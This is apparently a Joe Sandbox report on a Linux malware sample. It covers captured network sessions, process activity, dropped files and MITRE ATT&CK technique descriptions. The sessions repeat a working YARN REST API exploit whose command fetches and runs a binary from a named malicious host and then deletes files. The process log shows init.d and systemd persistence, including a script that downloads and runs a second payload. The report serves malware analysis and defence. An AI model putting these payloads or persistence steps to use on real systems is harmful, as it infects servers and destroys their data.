38	192.168.2.23	47320	77.210.59.160	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:59.935394049 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 77.210.59.160:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	58336	140.203.230.141	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:40:14.979958057 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 140.203.230.141:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:40:15.230771065 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 140.203.230.141:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:40:15.482733965 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 140.203.230.141:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:40:15.994682074 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 140.203.230.141:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:40:17.018528938 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 140.203.230.141:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	56504	32.181.180.75	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:40:20.984736919 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 32.181.180.75:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:40:21.221981049 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 32.181.180.75:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:40:21.461941957 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 32.181.180.75:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

System Behavior

Analysis Process: tVdq8lEt3e.elf PID: 6221, Parent PID: 6136

General

Start time (UTC):	22:36:44
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	/tmp/tVdq8lEt3e.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "systemctl enable custom.service >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable custom.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/mybinary
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "echo \"#!/bin/sh\n# /etc/init.d/tVdq8lEt3e.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting tVdq8lEt3e.elf'\n /tmp/tVdq8lEt3e.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping tVdq8lEt3e.elf'\n killall tVdq8lEt3e.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/tVdq8lEt3e.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "chmod +x /etc/init.d/tVdq8lEt3e.elf >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/tVdq8lEt3e.elf
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir -p /etc/rc.d
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "ln -s /etc/init.d/tVdq8lEt3e.elf /etc/rc.d/S99tVdq8lEt3e.elf >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/tVdq8lEt3e.elf /etc/rc.d/S99tVdq8lEt3e.elf
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/tmp/tVdq8lEt3e.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	22:36:45
Start date (UTC):	11/09/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Start time (UTC):	22:36:46
Start date (UTC):	11/09/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	22:36:47
Start date (UTC):	11/09/2024
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report tVdq8lEt3e.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/boot/bootcmd

/etc/init.d/mybinary

/etc/init.d/tVdq8lEt3e.elf

/etc/inittab

/etc/motd

/etc/profile

/etc/rc.local

/etc/systemd/system/custom.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.eRZguB (deleted)

/tmp/qemu-open.uZ0VNC (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

System Behavior

Analysis Process: tVdq8lEt3e.elf PID: 6221, Parent PID: 6136

General

Chronological Activities

Linux Analysis Report
tVdq8lEt3e.elf